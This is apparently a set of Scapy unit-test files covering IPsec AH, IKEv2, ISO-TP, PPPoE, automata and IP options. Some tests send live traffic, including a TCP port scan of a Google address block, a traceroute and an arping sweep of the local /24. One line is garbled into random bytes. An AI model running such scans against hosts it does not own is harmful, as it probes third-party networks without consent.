assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d[TCP] == p[TCP]) ####################################### = IPv6 / AH - Transport - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(isinstance(e, IPv6)) assert(e.src == '11::22' and e.dst == '22::11') * the encrypted packet should have an AH layer assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e[TCP].dport = 46 * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * alter mutable fields in the packet e.hlim = 2 * integrity verification should pass d = sa.decrypt(e) d * after decryption the original packet payload should be unaltered assert(d == p) ####################################### = IPv6 / AH - Tunnel - HMAC-SHA1-96 - altered packet p = IPv6(src='11::22', dst='22::11') p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key', tunnel_header=IPv6(src='aa::bb', dst='bb::aa')) e = sa.encrypt(p) e assert(isinstance(e, IPv6)) * after encryption packet should be encapsulated with the given ip tunnel header assert(e.src == 'aa::bb' and e.dst == 'bb::aa') assert(e.nh == socket.IPPROTO_AH) assert(e.haslayer(AH)) assert(e.haslayer(TCP)) assert(e[AH].spi == sa.spi) * simulate the alteration of the packet before verification e.src = 'cc::ee' * integrity verification should fail try: d = sa.decrypt(e) assert(False) except IPSecIntegrityError as err: err ############################################################################### + IPv6 + Extensions / AH ####################################### = IPv6 + Extensions / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrRouting() p /= IPv6ExtHdrDestOpt() p /= IPv6ExtHdrFragment() p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(e.src == '11::22' and e.dst == '22::11') * AH header should be inserted between the routing header and the dest options header assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting)) assert(isinstance(e[AH].payload, IPv6ExtHdrDestOpt)) ####################################### = IPv6 + Routing Header / AH - Transport p = IPv6(src='11::22', dst='22::11') p /= IPv6ExtHdrHopByHop() p /= IPv6ExtHdrRouting(addresses=['aa::bb', 'cc::dd', 'ee::ff']) p /= TCP(sport=45012, dport=80) p /= Raw(b'testdata') p = IPv6(bytes(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(e.src == '11::22' and e.dst == '22::11') * AH header should be inserted between the routing header and TCP assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting)) assert(isinstance(e[AH].payload, TCP)) * reorder the routing header as the receiver will get it final = e[IPv6ExtHdrRouting].addresses.pop() e[IPv6ExtHdrRouting].addresses.insert(0, e.dst) e.dst = final e[IPv6ExtHdrRouting].segleft = 0 * integrity verification should pass d = sa.decrypt(e) d ############################################################################### + IKEv2 ####################################### = IKEv2 from scapy.contrib.ikev2 import * p = UDP(bytes(UDP()/IKEv2())) p assert(p.sport == 500) assert(p.dport == 500) ####################################### = IKEv2 - next_payload assert(IKEv2(bytes(IKEv2()/IKEv2_payload_Transform())).next_payload == 3) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_SA() )).next_payload == 33) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_KE() )).next_payload == 34) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_IDi() )).next_payload == 35) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_IDr() )).next_payload == 36) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_CERT() )).next_payload == 37) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_CERTREQ() )).next_payload == 38) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_Nonce() )).next_payload == 40) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_Notify() )).next_payload == 41) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_Delete() )).next_payload == 42) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_VendorID() )).next_payload == 43) assert(IKEv2(bytes(IKEv2()/IKEv2_payload_Encrypted())).next_payload == 46) ####################################### = IKEv2_payload_Transform p = IKEv2_payload_Transform(bytes(IKEv2_payload_Transform())) p assert(p.next_payload == 0) assert(p.res == 0) assert(p.length == 8) assert(p.transform_type == 0) assert(p.res2 == 0) assert(p.transform_id == 0) assert(p.key_length == 0) assert(bytes(p) == b'\x00\x00\x00\x08\x00\x00\x00\x00') p.length=12 assert(bytes(p) == b'\x00\x00\x00\x0c\x00\x00\x00\x00\x80\x0e\x00\x00') ####################################### = IKEv2_payload_KE p = IKEv2_payload_KE(bytes(IKEv2_payload_KE())) p assert(p.next_payload == 0) assert(p.res == 0) assert(p.length == 8) assert(p.group == 0) assert(p.res2 == 0) assert(p.load == b'') assert(bytes(p) == b'\x00\x00\x00\x08\x00\x00\x00\x00') ####################################### = IKEv2_payload_Notify - Default p = IKEv2_payload_Notify(bytes(IKEv2_payload_Notify())) p assert(p.next_payload == 0) assert(p.res == 0) assert(p.length == 8) assert(p.proto == 0) assert(p.SPIsize == 0) assert(p.type == 0) assert(p.load == b'') assert(bytes(p) == b'\x00\x00\x00\x08\x00\x00\x00\x00') ####################################### = IKEv2_payload_Notify - Message Types assert(IKEv2_payload_Notify(type = 'INVALID_IKE_SPI').type == 4) assert(IKEv2_payload_Notify(type = 'FAILED_CP_REQUIRED').type == 37) assert(IKEv2_payload_Notify(type = 'NAT_DETECTION_SOURCE_IP').type == 16388) assert(IKEv2_payload_Notify(type = 'NAT_DETECTION_DESTINATION_IP').type == 16389) ####################################### = IKEv2_payload_Notify - Set next_payload on previous payload assert(IKEv2_payload_Transform(bytes(IKEv2_payload_Transform()/IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_SA (bytes(IKEv2_payload_SA() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_KE (bytes(IKEv2_payload_KE() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_IDi (bytes(IKEv2_payload_IDi() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_IDr (bytes(IKEv2_payload_IDr() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_CERT (bytes(IKEv2_payload_CERT() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_CERTREQ (bytes(IKEv2_payload_CERTREQ() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_Nonce (bytes(IKEv2_payload_Nonce() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_Notify (bytes(IKEv2_payload_Notify() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_Delete (bytes(IKEv2_payload_Delete() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_VendorID (bytes(IKEv2_payload_VendorID() /IKEv2_payload_Notify())).next_payload == 41) assert(IKEv2_payload_Encrypted(bytes(IKEv2_payload_Encrypted()/IKEv2_payload_Notify())).next_payload == 41) ####################################### = IKEv2_payload_Notify - Set next_payload for next payload assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_Transform())).next_payload == 3) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_SA() )).next_payload == 33) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_KE() )).next_payload == 34) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_IDi() )).next_payload == 35) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_IDr() )).next_payload == 36) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_CERT() )).next_payload == 37) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_CERTREQ() )).next_payload == 38) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_Nonce() )).next_payload == 40) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_Notify() )).next_payload == 41) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_Delete() )).next_payload == 42) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_VendorID() )).next_payload == 43) assert(IKEv2_payload_Notify(bytes(IKEv2_payload_Notify()/IKEv2_payload_Encrypted())).next_payload == 46) ###################################### = IKEv2_payload_CERT - Certificate Encodings assert(IKEv2_payload_CERT(cert_type = 'X.509 Certificate - Signature').cert_type == 4) assert(IKEv2_payload_CERT(cert_type = 'Hash and URL of X.509 certificate').cert_type == 12) ###################################### = IKEv2_payload_CERT - Default p = IKEv2_payload_CERT(bytes(IKEv2_payload_CERT())) p assert(p.next_payload == 0) assert(p.res == 0) assert(p.length == 5) assert(p.cert_type == 0) assert(p.cert_data == b'') assert(bytes(p) == b'\x00\x00\x00\x05\x00') ###################################### = IKEv2_payload_CERTREQ - Default p = IKEv2_payload_CERTREQ(bytes(IKEv2_payload_CERTREQ())) p assert(p.next_payload == 0) assert(p.res == 0) assert(p.length == 5) assert(p.cert_type == 0) assert(p.cert_data == b'') assert(bytes(p) == b'\x00\x00\x00\x05\x00') scapy-0.23/test/isotp.uts000066400000000000000000000064061320561231000154260ustar00rootroot00000000000000# isotp unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/isotp.uts -F % isotp unit tests + Configuration of scapy3 = Load isotp socket ~ conf command from scapy.layers.isotp import ISOTPSocket from scapy.layers.can import CANSocket, CAN from scapy.layers.uds import * = Setup string for vcan ~ conf command bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo modprobe can-isotp; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os ~ conf command import os import threading from time import sleep from scapy.layers.isotp import ISOTP, ISOTPSocket from scapy.layers.can import CAN, CANSocket = Setup vcan0 ~ conf command 0 == os.system(bashCommand) + Basic Socket Tests() = ISOTP Socket simple send def sender(): sleep(0.2) sock = ISOTPSocket('vcan0', 123, 321) sock.send(ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33')) txThread = threading.Thread(target=sender) sock = ISOTPSocket('vcan0', 321, 123) txThread.start() rx = sock.recv() rx == ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') = ISOTP Socket send with extended addressing def sender(): sleep(0.2) sock = ISOTPSocket('vcan0', 123, 321, 23, 21) sock.send(ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33')) txThread = threading.Thread(target=sender) sock = ISOTPSocket('vcan0', 321, 123, 21, 23) txThread.start() rx = sock.recv() rx == ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') = ISOTP Socket validate single frame def sender(): sleep(0.1) sock = ISOTPSocket('vcan0', 0x123, 0x321) sock.send(Raw(load=b'\x11\x22\x33')) txThread = threading.Thread(target=sender) sock = CANSocket('vcan0') txThread.start() rx = sock.recv() rx == CAN(id=0x321, dlc=4, data=b'\x03\x11\x22\x33') = ISOTP Socket sr1 test def sender(): sleep(0.1) sock = ISOTPSocket('vcan0', 0x123, 0x321) rx = sock.sr1(Raw(load=b'\x11\x22\x33'), timeout=1) rx is not None rx == ISOTP(b'\x7f\x22\x33') txThread = threading.Thread(target=sender) sock = CANSocket('vcan0') txThread.start() rx = sock.recv() rx == CAN(id=0x321, dlc=4, data=b'\x03\x11\x22\x33') sock.send(CAN(id=0x123, dlc=4, data=b'\x03\x7f\x22\x33')) = ISOTP Socket sr1 and ISOTP test def sender(): sleep(0.1) sock = ISOTPSocket('vcan0', 0x123, 0x321) rx = sock.sr1(ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33'), timeout=1) rx is not None rx == ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') txThread = threading.Thread(target=sender) sock = ISOTPSocket('vcan0', 0x321, 0x123) txThread.start() rx = sock.recv() rx == ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') sock.send(ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33')) = ISOTP Socket sr1 and ISOTP test vice versa def receiver(): sock = ISOTPSocket('vcan0', 0x321, 0x123) rx = sock.recv() rx == ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') sock.send(ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33')) rxThread = threading.Thread(target=receiver) rxThread.start() sleep(0.1) sock = ISOTPSocket('vcan0', 0x123, 0x321) rx = sock.sr1(ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33'), timeout=1) rx == ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') scapy-0.23/test/pppoe.uts000066400000000000000000000036641320561231000154160ustar00rootroot00000000000000# PPPoE unit tests # # Type the following command to launch start the tests: # $ sudo bash test/run_tests -t test/pppoe.uts -f html -o /tmp/scapy_pppoe_test_$(date +%Y%M%d-%H%H%S).html + Test PPPoE = PPPoED ~ pppoed p=PPPoED(b'\x11\x09\x00\x00\x00\x1f\x01\x01\x00\x0b\x4d\x61\x63\x42\x6f\x6f\x6b\x2d\x50\x72\x6f\x01\x02\x00\x00\x01\x03\x00\x08\x08\xf4\x18\x35\x80\xff\xff\xff') assert(p[PPPoED].code == 9) assert(p[PPPoED].tags[0].data == b'MacBook-Pro') assert(p[PPPoED].tags[1].data == b'') assert(p[PPPoED].tags[2].data == b'\x08\xf4\x18\x35\x80\xff\xff\xff') p=PPPoED(code='PADO', tags=[PPPoE_Tag(type='Service-Name', data='MacBook-Pro'), PPPoE_Tag(type='AC-Name', data='HZ-HZ-DZKD-BAS-0X5E-0.XYW'), PPPoE_Tag(type='Host-Uniq', data=b'\x08\xf4\x18\x35\x80\xff\xff\xff')]) bytes(p) assert(_ == b'\x11\x07\x00\x00\x00\x38\x01\x01\x00\x0b\x4d\x61\x63\x42\x6f\x6f\x6b\x2d\x50\x72\x6f\x01\x02\x00\x19\x48\x5a\x2d\x48\x5a\x2d\x44\x5a\x4b\x44\x2d\x42\x41\x53\x2d\x30\x58\x35\x45\x2d\x30\x2e\x58\x59\x57\x01\x03\x00\x08\x08\xf4\x18\x35\x80\xff\xff\xff') q=PPPoED(_) assert(bytes(p) == bytes(q)) assert(PPPoED(bytes(q)) == q) assert(q[PPPoED].tags[0].type == 0x0101) assert(q[PPPoED].tags[0].data == b'MacBook-Pro') assert(q[PPPoED].tags[1].data == b'HZ-HZ-DZKD-BAS-0X5E-0.XYW') = PPP LCP ~ ppp lcp p=PPP(b'\xc0\x21\x01\x01\x00\x0e\x01\x04\x05\xd4\x05\x06\x0f\x3d\xad\x94') assert(p[PPP_LCP].code == 1) assert(p[PPP_LCP].id == 1) assert(p[PPP_LCP_Option_MRU].data == 1492) assert(p[PPP_LCP_Option_MAGIC].data == 0xf3dad94) p=PPP()/PPP_LCP(id=0x58, options=[PPP_LCP_Option_MRU(data=1480), PPP_LCP_Option_AUTH(data='PAP'), PPP_LCP_Option_MAGIC(data=0x5e630ab8)]) bytes(p) assert(_ == b'\xc0\x21\x01\x58\x00\x12\x01\x04\x05\xc8\x03\x04\xc0\x23\x05\x06\x5e\x63\x0a\xb8') q=PPP(_) assert(bytes(p) == bytes(q)) assert(PPP(bytes(q)) == q) assert(p[PPP_LCP_Option_MRU].data == 1480) assert(p[PPP_LCP_Option_AUTH].data == 0xc023) assert(p[PPP_LCP_Option_MAGIC].data == 0x5e630ab8) scapy-0.23/test/regression.uts000066400000000000000000006502771320561231000164630ustar00rootroot00000000000000% Regression tests for Scapy # More informations at http://www.secdev.org/projects/UTscapy/ # $Id: regression.uts,v 1.9 2008/07/29 15:30:29 pbi Exp pbi $ ############ ############ + Informations on Scapy = Get conf ~ conf command * Dump the current configuration conf = List layers ~ conf command ls() = List commands ~ conf command lsc() = Configuration ~ conf conf.debug_dissect=1 ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken * and to catch Exceptions = Building some packets packet ~ basic IP TCP UDP NTP LLC SNAP Dot11 IP()/TCP() Ether()/IP()/UDP()/NTP() Dot11()/LLC()/SNAP()/IP()/TCP()/"XXX" IP(ttl=25)/TCP(sport=12, dport=42) = Manipulating some packets ~ basic IP TCP a=IP(ttl=4)/TCP() a.ttl a.ttl=10 del(a.ttl) a.ttl TCP in a a[TCP] a[TCP].dport=[80,443] a a=3 = Checking overloads ~ basic IP TCP Ether a=Ether()/IP()/TCP() a.proto _ == 6 = sprintf() function ~ basic sprintf Ether IP UDP NTP a=Ether()/IP()/IP(ttl=4)/UDP()/NTP() a.sprintf("%type% %IP.ttl% %#05xr,UDP.sport% %IP:2.ttl%") _ in [ '0x800 64 0x07b 4', 'IPv4 64 0x07b 4'] = sprintf() function ~ basic sprintf IP TCP SNAP LLC Dot11 * This test is on the conditionnal substring feature of sprintf() a=Dot11()/LLC()/SNAP()/IP()/TCP() a.sprintf("{IP:{TCP:flags=%TCP.flags%}{UDP:port=%UDP.ports%} %IP.src%}") _ == 'flags=S 127.0.0.1' = haslayer function ~ basic haslayer IP TCP ICMP ISAKMP x=IP(id=1)/ISAKMP_payload_SA(prop=ISAKMP_payload_SA(prop=IP()/ICMP()))/TCP() TCP in x, ICMP in x, IP in x, UDP in x _ == (True,True,True,False) = getlayer function ~ basic getlayer IP ISAKMP UDP x=IP(id=1)/ISAKMP_payload_SA(prop=IP(id=2)/UDP(dport=1))/IP(id=3)/UDP(dport=2) x[IP] x[IP:2] x[IP:3] x.getlayer(IP,3) x.getlayer(IP,4) x[UDP] x[UDP:1] x[UDP:2] assert(x[IP].id == 1 and x[IP:2].id == 2 and x[IP:3].id == 3 and x.getlayer(IP).id == 1 and x.getlayer(IP,3).id == 3 and x.getlayer(IP,4) == None and x[UDP].dport == 1 and x[UDP:2].dport == 2) try: x[IP:4] except IndexError: True else: False = equality ~ basic w=Ether()/IP()/UDP(dport=53) x=Ether()/IP(dst="127.0.0.1")/UDP() y=Ether()/IP()/UDP(dport=4) z=Ether()/IP()/UDP()/NTP() t=Ether()/IP()/TCP() x==y, x==z, x==t, y==z, y==t, z==t, w==x _ == (False, False, False, False, False, False, True) ############ ############ + Tests on padding = Padding assembly bytes(Padding(b"abc")) assert( _ == b"abc" ) bytes(Padding(b"abc")/Padding(b"def")) assert( _ == b"abcdef" ) bytes(Raw(b"ABC")/Padding(b"abc")/Padding(b"def")) assert( _ == b"ABCabcdef" ) bytes(Raw(b"ABC")/Padding(b"abc")/Raw(b"DEF")/Padding(b"def")) assert( _ == b"ABCDEFabcdef" ) = Padding and length computation IP(bytes(IP()/Padding(b"abc"))) assert( _.len == 20 and len(_) == 23 ) IP(bytes(IP()/Raw(b"ABC")/Padding(b"abc"))) assert( _.len == 23 and len(_) == 26 ) IP(bytes(IP()/Raw(b"ABC")/Padding(b"abc")/Padding(b"def"))) assert( _.len == 23 and len(_) == 29 ) = PadField test ~ PadField padding class TestPad(Packet): fields_desc = [ PadField(StrNullField("st", ""),4), StrField("id", "")] TestPad() == TestPad(bytes(TestPad())) ############ ############ + Tests on basic fields #= Field class #~ core field #Field("foo", None, fmt="H").i2m(None,0xabcdef) #assert( _ == "\xcd\xef" ) #Field("foo", None, fmt="P\xf4\xb6Y\xcbc\x8d\xb6\xbd\x18\xd4\x87J_\xdc\xef\xe9V\xf0\n\x0c\xe8u' ) ############ ############ + Network tests * Those tests need network access = Sending and receiving an ICMP ~ netaccess IP ICMP x=sr1(IP(dst="www.google.com")/ICMP(),timeout=3) x x is not None and ICMP in x and x[ICMP].type == 0 = DNS request ~ netaccess IP UDP DNS * A possible cause of failure could be that the open DNS (resolver1.opendns.com) * is not reachable or down. dns_ans = sr1(IP(dst="resolver1.opendns.com")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.com")),timeout=5) DNS in dns_ans = TCP DNS request ~ netaccess IP TCP DNS syn = IP(dst="resolver1.opendns.com") / TCP(dport=53, sport=random.randint(1024,65535), flags="S") synack = sr1(syn, timeout=5) synack_ack = IP(dst="resolver1.opendns.com") / TCP(dport=53, sport=syn.sport, flags="A", seq=synack.ack, ack=synack.seq + 1) send(synack_ack) dnsq = IP(dst="resolver1.opendns.com") / TCP(dport=53, sport=syn.sport, flags="PA", seq=synack.ack, ack=synack.seq + 1) / DNS(rd=1,qd=DNSQR(qname="www.slashdot.com", qtype="A")) dnsr = sr1(dnsq, filter='tcp[13] & 8 != 0', timeout=5) dnsr_ack = IP(dst="resolver1.opendns.com") / TCP(dport=53, sport=syn.sport, flags="A", seq=dnsr.ack, ack=dnsr.seq + len(dnsr[DNS])) finack = sr1(dnsr_ack) final_ack = IP(dst="resolver1.opendns.com") / TCP(dport=53, sport=syn.sport, flags="A", seq=finack.ack + 1, ack=finack.seq + 1) send(final_ack) DNS in dnsr ############ ############ + More complex tests = Implicit logic ~ IP TCP a=IP(ttl=(5,10))/TCP(dport=[80,443]) [p for p in a] len(_) == 12 ############ ############ + Real usages = Port scan ~ netaccess IP TCP ans,unans=sr(IP(dst="www.google.com/30")/TCP(dport=[80,443]),timeout=2) ans.make_table(lambda s,r: (s.dst, s.dport, r.sprintf("{TCP:%TCP.flags%}{ICMP:%ICMP.code%}"))) = Traceroute function ~ netaccess * Let's test traceroute traceroute("www.slashdot.org") ans,unans=_ = Result manipulation ~ netaccess ans.nsummary() s,r=ans[0] s.show() s.show(2) = DNS packet manipulation ~ netaccess DNS * We have to recalculate IP and UDP length because * DNS is not able to reassemble correctly dns_ans.show() del(dns_ans[IP].len) del(dns_ans[UDP].len) dns_ans.show2() dns_ans[DNS].an.show() DNS in IP(bytes(dns_ans)) = Arping ~ netaccess * This test assumes the local network is a /24. This is bad. conf.route.route("0.0.0.0")[2] arping(_+"/24") ############ ############ + Automaton tests = Simple automaton ~ automaton class ATMT1(Automaton): def parse_args(self, init, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.init = init @ATMT.state(initial=1) def BEGIN(self): raise self.MAIN(self.init) @ATMT.state() def MAIN(self, s): return s @ATMT.condition(MAIN, prio=-1) def go_to_END(self, s): if len(s) > 20: raise self.END(s).action_parameters(s) @ATMT.condition(MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"a") @ATMT.condition(MAIN) def trB(self, s): if s.endswith("a"): raise self.MAIN(s*2+"b") @ATMT.state(final=1) def END(self, s): return s @ATMT.action(go_to_END) def action_test(self, s): self.result = s = Simple automaton Tests ~ automaton a=ATMT1(init="a") a.run() assert( _ == 'aabaaababaaabaaababab' ) a.result assert( _ == 'aabaaababaaabaaababab' ) a=ATMT1(init="b") a.run() assert( _ == 'babababababababababababababab' ) a.result assert( _ == 'babababababababababababababab' ) = Simple automaton stuck test ~ automaton try: ATMT1(init="").run() except Automaton.Stuck: True else: False = Automaton state overloading ~ automaton class ATMT2(ATMT1): @ATMT.state() def MAIN(self, s): return "c"+ATMT1.MAIN(self, s).run() a=ATMT2(init="a") a.run() assert( _ == 'ccccccacabacccacababacccccacabacccacababab' ) a.result assert( _ == 'ccccccacabacccacababacccccacabacccacababab' ) a=ATMT2(init="b") a.run() assert( _ == 'cccccbaccbabaccccbaccbabab') a.result assert( _ == 'cccccbaccbabaccccbaccbabab') = Automaton condition overloading ~ automaton class ATMT3(ATMT2): @ATMT.condition(ATMT1.MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"da") a=ATMT3(init="a", debug=2) a.run() assert( _ == 'cccccacabdacccacabdabda') a.result assert( _ == 'cccccacabdacccacabdabda') a=ATMT3(init="b") a.run() assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) a.result assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) = Automaton action overloading ~ automaton class ATMT4(ATMT3): @ATMT.action(ATMT1.go_to_END) def action_test(self, s): self.result = "e"+s+"e" a=ATMT4(init="a") a.run() assert( _ == 'cccccacabdacccacabdabda') a.result assert( _ == 'ecccccacabdacccacabdabdae') a=ATMT4(init="b") a.run() assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) a.result assert( _ == 'ecccccbdaccbdabdaccccbdaccbdabdabe' ) = Automaton priorities ~ automaton class ATMT5(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "J" @ATMT.condition(BEGIN, prio=1) def tr1(self): self.res += "i" raise self.END() @ATMT.condition(BEGIN) def tr2(self): self.res += "p" @ATMT.condition(BEGIN, prio=-1) def tr3(self): self.res += "u" @ATMT.action(tr1) def ac1(self): self.res += "e" @ATMT.action(tr1, prio=-1) def ac2(self): self.res += "t" @ATMT.action(tr1, prio=1) def ac3(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT5() a.run() assert( _ == 'Jupiter' ) = Automaton test same action for many conditions ~ automaton class ATMT6(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res="M" @ATMT.condition(BEGIN) def tr1(self): raise self.MIDDLE() @ATMT.action(tr1) # default prio=0 def add_e(self): self.res += "e" @ATMT.action(tr1, prio=2) def add_c(self): self.res += "c" @ATMT.state() def MIDDLE(self): self.res += "u" @ATMT.condition(MIDDLE) def tr2(self): raise self.END() @ATMT.action(tr2, prio=2) def add_y(self): self.res += "y" @ATMT.action(tr1, prio=1) @ATMT.action(tr2) def add_r(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT6() a.run() assert( _ == 'Mercury' ) a.restart() a.run() assert( _ == 'Mercury' ) = Automaton test io event ~ automaton class ATMT7(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "S" @ATMT.ioevent(BEGIN, name="tst") def tr1(self, fd): self.res += fd.recv() raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): self.oi.tst.send("ur") @ATMT.ioevent(NEXT_STATE, name="tst") def tr2(self, fd): self.res += fd.recv() raise self.END() @ATMT.state(final=1) def END(self): self.res += "n" return self.res a=ATMT7() a.run(wait=False) a.io.tst.send("at") a.io.tst.recv() a.io.tst.send(_) a.run() assert( _ == "Saturn" ) a.restart() a.run(wait=False) a.io.tst.send("at") a.io.tst.recv() a.io.tst.send(_) a.run() assert( _ == "Saturn" ) = Automaton test io event from external fd ~ automaton class ATMT8(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "U" @ATMT.ioevent(BEGIN, name="extfd") def tr1(self, fd): self.res += fd.read(2).decode('ascii') raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): pass @ATMT.ioevent(NEXT_STATE, name="extfd") def tr2(self, fd): self.res += fd.read(2).decode('ascii') raise self.END() @ATMT.state(final=1) def END(self): self.res += "s" return self.res r,w = os.pipe() a=ATMT8(external_fd={"extfd":r}) a.run(wait=False) os.write(w,b"ra") os.write(w,b"nu") a.run() assert( _ == "Uranus" ) a.restart() a.run(wait=False) os.write(w,b"ra") os.write(w,b"nu") a.run() assert( _ == "Uranus" ) = Automaton test interception_points, and restart ~ automaton class ATMT9(Automaton): def my_send(self, x): self.io.loop.send(x) @ATMT.state(initial=1) def BEGIN(self): self.res = b"V" self.send(Raw(b"ENU")) @ATMT.ioevent(BEGIN, name="loop") def received_sth(self, fd): self.res += fd.recv().load raise self.END() @ATMT.state(final=1) def END(self): self.res += b"s" return self.res a=ATMT9(debug=5) a.run() assert( _ == b"VENUs" ) a.restart() a.run() assert( _ == b"VENUs" ) a.restart() a.BEGIN.intercepts() while True: try: x = a.run() except Automaton.InterceptionPoint as p: a.accept_packet(Raw(p.packet.load.lower()), wait=False) else: break x assert( _ == b"Venus" ) + Test IP options = IP options individual assembly ~ IP options bytes(IPOption()) assert(_ == b'\x00\x02') bytes(IPOption_NOP()) assert(_ == b'\x01') bytes(IPOption_EOL()) assert(_ == b'\x00') bytes(IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"])) assert(_ == b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08') = IP options individual dissection ~ IP options IPOption(b"\x00") assert(_.option == 0 and isinstance(_, IPOption_EOL)) IPOption(b"\x01") assert(_.option == 1 and isinstance(_, IPOption_NOP)) lsrr=b'\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08' p=IPOption_LSRR(lsrr) p q=IPOption(lsrr) q assert(p == q) = IP assembly and dissection with options ~ IP options 